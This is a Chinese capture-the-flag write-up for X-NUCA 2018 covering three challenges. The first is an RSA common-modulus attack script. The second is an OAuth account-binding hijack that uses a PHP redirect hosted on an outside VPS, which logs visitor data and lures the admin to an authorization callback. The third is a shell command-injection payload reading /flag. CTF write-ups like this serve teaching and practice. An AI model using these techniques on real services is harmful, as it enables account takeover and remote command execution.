By烟花易冷

X-NUCA’ 18 全国高校网安联赛 WriteUp 小白友好版
2018-11-26

比赛已经结束一天了,结果队友许可,放出我们队伍的 writeup。
其中 Warm Up 为队友 ichx 所写,剩余两题 web 由我撰写,版权自然是归华农“逮虾户开派对”所有,若有转走的朋友请吱一声~


0x00 Warm Up

解压压缩包得到一个Python脚本以及数据包,浏览Python脚本发现是一个进行RSA加密操作的脚本。用 wireshark 打开数据包,随便选择一个 TCP 包,追踪 TCP 流查看会话,发现是某个人运行上述脚本的信息(包含公钥、公钥指数以及密文)

返回,仔细观察 TCP 包,共发现来自同一 ip,5个不同端口的会话信息,最后得到5个不同的人运行脚本的信息。

尝试使用 yafu 分解其中一个公钥得到p、q从而解密信息,但发现分解所需时间非常长,从而转换思路。仔细观察5段信息,发现有两段信息中的公钥相等,或许能够使用共模攻击还原出明文。对两段信息的公钥指数进行验证,发现两个公钥指数互质,可以使用共模攻击。编写如下脚本:

# -*- coding: utf-8 -*-
from libnum import n2s
from gmpy2 import invert

def egcd(e1, e2):
    if e1 == 0:
        return (e2, 0, 1)
    else:
        g, y, x = egcd(e2 % e1, e1)
        return (g, x - (e2 // e1) * y, y)

if __name__ == '__main__':
    n = 25118186052801903419891574512806521370646053661385577314262283167479853375867074736882903917202574957661470179148882538361560784362740207649620536746860883395110443930778132343642295247749797041449601967434690280754279589691669366595486824752597992245067619256368446164574344449914827664991591873150416287647528776014468498025993455819767004213726389160036077170973994848480739499052481386539293425983093644799960322581437734560001018025823047877932105216362961838959964371333287407071080250979421489210165485908404019927393053325809061787560294489911475978342741920115134298253806238766543518220987363050115050813263
    c1 = 22917655888781915689291442748409371798632133107968171254672911561608350738343707972881819762532175014157796940212073777351362314385074785400758102594348355578275080626269137543136225022579321107199602856290254696227966436244618441350564667872879196269074433751811632437228139470723203848006803856868237706401868436321225656126491701750534688966280578771996021459620472731406728379628286405214996461164892486734170662556518782043881759918394674517409304629842710180023814702447187081112856416034885511215626693534876901484105593275741829434329109239483368867518384522955176807332437540578688867077569728548513876841471
    c2 = 20494665879116666159961016125949070097530413770391893858215547229071116025581822729798313796823204861624912909030975450742122802775879194445232064367771036011021366123393917354134849911675307877324103834871288513274457941036453477034798647182106422619504345055259543675752998330786906376830335403339610903547255965127196315113331300512641046933227008101401416026809256813221480604662012101542846479052832128788279031727880750642499329041780372405567816904384164559191879422615238580181357183882111249939492668328771614509476229785062819586796660370798030562805224704497570446844131650030075004901216141893420140140568
    e1 = 7669
    e2 = 6947
    a = egcd(e1, e2)
    a1 = a[1]
    a2 = a[2]

    if a1 < 0:
        a1 = -a1
        c1 = invert(c1, n)
    elif a2 < 0:
        a2 = -a2
        c2 = invert(c2, n)

    m = pow(c1,a1,n) * pow(c2,a2,n) % n
    print n2s(m)

运行,解出明文,得到flag。

  • FLAG值:FLAG{g00d_Luck_&_Hav3_Fun}

0x01 Blog

此题目的解法大致为利用了可控的 redirect_uri,将第三方 OAuth 账户绑定到了管理员账户下。这是一个典型的 SSRF(服务器端跨站)攻击还原,攻击手段在网络安全方面又称为重放攻击(reply attack),圈内还有一个著名的 Github 事件,有兴趣的朋友可以去搜索一下。
打开题目后,出现登陆页面,且带有 ?next=/main/index 参数,通过审查元素可以看到注册地址,如图:

注册登录后可以看到有 post_bug 功能,经过测试后发现可以提交一个以 http://106.75.66.211:8000/ 开头,且长度一定(较短)的网址,管理员将会定时查看这个网址,因此可以利用这一点,结合打开页时的 ?next=/main/index 参数构造一个 OAuth 回调页面让管理员访问,以将自己的第三方 OAuth 账户绑定到管理员账户上。
点击右上方“绑定第三方账户”进入第三方OAuth登录页面,注册账号成功后,再次执行登录操作,效果如图:

此时再次点击“绑定第三方账户”,登录刚刚注册的账户并使用 burpsuit 对回调地址进行HTTP请求拦截,可得回调地址为: /main/oauth/?state=6YajKWryHg&code=5ikkiqmMrBlYe09apwG6OiJv4BqzaQMpXoQ4JuxO,如图

因此只需要想办法让管理员访问这段地址,即可把该第三方账户绑定到管理员账号下,处于post_bug 功能对于长度的限制的要求,我选择了使用自己的 VPS 进行请求的转发。因此编写 PHP 程序,使用 302 跳转将管理员引导至刚刚所获得的授权回调地址,如图:

PHP 文件内容如下:

<?php
$a = array_merge($_POST,$_GET,$_SERVER);
file_put_contents("log.txt", date("H:i:s")."\n".var_export($a,true)."\n\n", FILE_APPEND); // 记录访问日志,方便了解管理员有没有访问
header("location:http://106.75.66.211:8000/main/oauth/?state=cgJeRCZPxu&code=GIwv0ctmvUuYXhfhiRRfnNBYXU6gf6DQjFcAObus"); // 302 跳转

此时将 VPS 绑定到一个较短的域名下,例如本次做题我所使用的 q.x64.men(端口886),构造网址: http://106.75.66.211:8000/main/login?next=http://q.x64.men:886,并在post_bug 中提交,如图:

当在VPS中看到HTTP请求日志时,重新回到比赛系统登录页面,直接使用第三方 OAuth 登录之后,即可发现为管理员身份,并获得 flag,如图:

  • FLAG值:flag{30b1651e8445120f66d93c8c5edff507}

0x02 ezdotso

打开题目后看到 PHP 源代码,其中 parse_str($_SERVER['QUERY_STRING']); 一行将GET请求传入的参数全部转换为了 PHP 的变量,因此只需要从在访问时带上相应参数即可。

可以看到当 action 变量为 cmd 时,将会对 cmd 变量进行两次正则过滤,过滤之后将会使用 busybox 执行linux shell命令。要使程序正常运行下去,则cmd变量必须为字符串,且长度不能超过9。为了过第一个正则判断,则该字符串必须由两部分组成,且中间使用空格隔开,第一部分为大小写字母以及数字开头,第二部分含有 * 或者 / 两个符号。为了过第二个正则判断,则该第一部分为一个或一个以上大小写字母,第二部分以大小写字母或者 * 或者 / 这两个符号结尾。使用PHP模拟判断过程,可以发现诸如 ls /ls * 等命令+一个参数的 shell 命令均可以通过条件判断。执行 ls / 时发现在 / 根目录下,有一个 flag 文件,使用 cat /flag 即可读取文件内容。如图:

PHP Playload 如下:

<?php
$cmd = "cat /flag";
if(is_string($cmd)){
    if (strlen($cmd)>9){
        die('1');
    }
    $pat1 = "/[^0-9a-zA-Z \/\*]/";
    if (preg_match($pat1, $cmd)>0){
        die('2');
    }
    $pat2 = "/^[a-zA-Z]+ [0-9a-zA-Z\/\*]+$/";
    if (preg_match($pat2, $cmd)==0){
        die('3');
    }
    echo "OK\n";
}
echo file_get_contents("http://0affc71412694809aa8e6f6ca6ff2f155beb343a4a734e54.game.ichunqiu.com/?action=cmd&cmd=".urlencode($cmd));
  • FLAG值:flag{433b246d-71de-4dfe-b6dc-624f991e2d0f}